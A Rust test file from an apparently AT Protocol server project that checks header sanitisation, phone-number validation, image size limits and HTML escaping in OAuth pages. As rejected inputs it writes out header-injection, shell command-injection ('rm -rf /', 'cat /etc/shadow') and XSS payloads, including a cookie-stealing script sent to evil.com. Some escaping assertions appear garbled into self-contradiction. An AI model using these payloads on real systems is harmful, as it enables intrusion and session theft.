this repo has no description
1mod common;
2use bspds::image::{ImageError, ImageProcessor};
3use bspds::comms::{SendError, is_valid_phone_number, sanitize_header_value};
4use bspds::oauth::templates::{error_page, login_page, success_page};
5
6#[test]
7fn test_header_injection_sanitization() {
8 let malicious = "Injected\r\nBcc: attacker@evil.com";
9 let sanitized = sanitize_header_value(malicious);
10 assert!(!sanitized.contains('\r') && !sanitized.contains('\n'));
11 assert!(sanitized.contains("Injected") && sanitized.contains("Bcc:"));
12
13 let normal = "Normal Subject Line";
14 assert_eq!(sanitize_header_value(normal), "Normal Subject Line");
15
16 let padded = " Subject ";
17 assert_eq!(sanitize_header_value(padded), "Subject");
18
19 let multi_newline = "Line1\r\nLine2\nLine3\rLine4";
20 let sanitized = sanitize_header_value(multi_newline);
21 assert!(!sanitized.contains('\r') && !sanitized.contains('\n'));
22 assert!(sanitized.contains("Line1") && sanitized.contains("Line4"));
23
24 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
25 let sanitized = sanitize_header_value(header_injection);
26 assert_eq!(sanitized.split("\r\n").count(), 1);
27 assert!(sanitized.contains("Normal Subject") && sanitized.contains("Bcc:") && sanitized.contains("X-Injected:"));
28
29 let with_null = "client\0id";
30 assert!(sanitize_header_value(with_null).contains("client"));
31
32 let long_input = "x".repeat(10000);
33 assert!(!sanitize_header_value(&long_input).is_empty());
34}
35
36#[test]
37fn test_phone_number_validation() {
38 assert!(is_valid_phone_number("+1234567890"));
39 assert!(is_valid_phone_number("+12025551234"));
40 assert!(is_valid_phone_number("+442071234567"));
41 assert!(is_valid_phone_number("+4915123456789"));
42 assert!(is_valid_phone_number("+1"));
43
44 assert!(!is_valid_phone_number("1234567890"));
45 assert!(!is_valid_phone_number("12025551234"));
46 assert!(!is_valid_phone_number(""));
47 assert!(!is_valid_phone_number("+"));
48 assert!(!is_valid_phone_number("+12345678901234567890123"));
49
50 assert!(!is_valid_phone_number("+abc123"));
51 assert!(!is_valid_phone_number("+1234abc"));
52 assert!(!is_valid_phone_number("+a"));
53
54 assert!(!is_valid_phone_number("+1234 5678"));
55 assert!(!is_valid_phone_number("+ 1234567890"));
56 assert!(!is_valid_phone_number("+1 "));
57
58 assert!(!is_valid_phone_number("+123-456-7890"));
59 assert!(!is_valid_phone_number("+1(234)567890"));
60 assert!(!is_valid_phone_number("+1.234.567.890"));
61
62 for malicious in ["+123; rm -rf /", "+123 && cat /etc/passwd", "+123`id`",
63 "+123$(whoami)", "+123|cat /etc/shadow", "+123\n--help",
64 "+123\r\n--version", "+123--help"] {
65 assert!(!is_valid_phone_number(malicious), "Command injection '{}' should be rejected", malicious);
66 }
67}
68
69#[test]
70fn test_image_file_size_limits() {
71 let processor = ImageProcessor::new();
72 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
73 let result = processor.process(&oversized_data, "image/jpeg");
74 match result {
75 Err(ImageError::FileTooLarge { .. }) => {}
76 Err(other) => {
77 let msg = format!("{:?}", other);
78 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
79 panic!("Expected FileTooLarge error, got: {:?}", other);
80 }
81 }
82 Ok(_) => panic!("Should reject files over size limit"),
83 }
84
85 let processor = ImageProcessor::new().with_max_file_size(1024);
86 let data: Vec<u8> = vec![0u8; 2048];
87 assert!(processor.process(&data, "image/jpeg").is_err());
88}
89
90#[test]
91fn test_oauth_template_xss_protection() {
92 let html = login_page("<script>alert('xss')</script>", None, None, "test-uri", None, None);
93 assert!(!html.contains("<script>") && html.contains("<script>"));
94
95 let html = login_page("client123", Some("<img src=x onerror=alert('xss')>"), None, "test-uri", None, None);
96 assert!(!html.contains("<img ") && html.contains("<img"));
97
98 let html = login_page("client123", None, Some("\"><script>alert('xss')</script>"), "test-uri", None, None);
99 assert!(!html.contains("<script>"));
100
101 let html = login_page("client123", None, None, "test-uri",
102 Some("<script>document.location='http://evil.com?c='+document.cookie</script>"), None);
103 assert!(!html.contains("<script>"));
104
105 let html = login_page("client123", None, None, "test-uri", None,
106 Some("\" onfocus=\"alert('xss')\" autofocus=\""));
107 assert!(!html.contains("onfocus=\"alert") && html.contains("""));
108
109 let html = login_page("client123", None, None, "\" onmouseover=\"alert('xss')\"", None, None);
110 assert!(!html.contains("onmouseover=\"alert"));
111
112 let html = error_page("<script>steal()</script>", Some("<img src=x onerror=evil()>"));
113 assert!(!html.contains("<script>") && !html.contains("<img "));
114
115 let html = success_page(Some("<script>steal_session()</script>"));
116 assert!(!html.contains("<script>"));
117
118 for (page, name) in [
119 (login_page("client", None, None, "uri", None, None), "login"),
120 (error_page("err", None), "error"),
121 (success_page(None), "success"),
122 ] {
123 assert!(!page.contains("javascript:"), "{} page has javascript: URL", name);
124 }
125
126 let html = login_page("client123", None, None, "javascript:alert('xss')//", None, None);
127 assert!(html.contains("action=\"/oauth/authorize\""));
128}
129
130#[test]
131fn test_oauth_template_html_escaping() {
132 let html = login_page("client&test", None, None, "test-uri", None, None);
133 assert!(html.contains("&") && !html.contains("client&test"));
134
135 let html = login_page("client\"test'more", None, None, "test-uri", None, None);
136 assert!(html.contains(""") || html.contains("""));
137 assert!(html.contains("'") || html.contains("'"));
138
139 let html = login_page("client<test>more", None, None, "test-uri", None, None);
140 assert!(html.contains("<") && html.contains(">") && !html.contains("<test>"));
141
142 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"),
143 "valid-uri", None, Some("user@example.com"));
144 assert!(html.contains("my-safe-client") || html.contains("My Safe App"));
145 assert!(html.contains("read write") || html.contains("read"));
146 assert!(html.contains("user@example.com"));
147
148 let html = login_page("client", None, None, "\" onclick=\"alert('csrf')", None, None);
149 assert!(!html.contains("onclick=\"alert"));
150
151 let html = login_page("客户端 クライアント", None, None, "test-uri", None, None);
152 assert!(html.contains("客户端") || html.contains("&#"));
153}
154
155#[test]
156fn test_send_error_display() {
157 let timeout = SendError::Timeout;
158 assert!(!format!("{}", timeout).is_empty());
159 assert!(format!("{}", timeout).to_lowercase().contains("timeout"));
160
161 let max_retries = SendError::MaxRetriesExceeded("Server returned 503".to_string());
162 let msg = format!("{}", max_retries);
163 assert!(!msg.is_empty());
164 assert!(msg.contains("503") || msg.contains("retries"));
165
166 let invalid = SendError::InvalidRecipient("bad recipient".to_string());
167 assert!(!format!("{}", invalid).is_empty());
168}
169
170#[tokio::test]
171async fn test_signup_queue_authentication() {
172 use common::{base_url, client, create_account_and_login};
173 let base = base_url().await;
174 let http_client = client();
175
176 let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
177 .send().await.unwrap();
178 assert_eq!(res.status(), reqwest::StatusCode::OK);
179 let body: serde_json::Value = res.json().await.unwrap();
180 assert_eq!(body["activated"], true);
181
182 let (token, _did) = create_account_and_login(&http_client).await;
183 let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
184 .header("Authorization", format!("Bearer {}", token))
185 .send().await.unwrap();
186 assert_eq!(res.status(), reqwest::StatusCode::OK);
187 let body: serde_json::Value = res.json().await.unwrap();
188 assert_eq!(body["activated"], true);
189}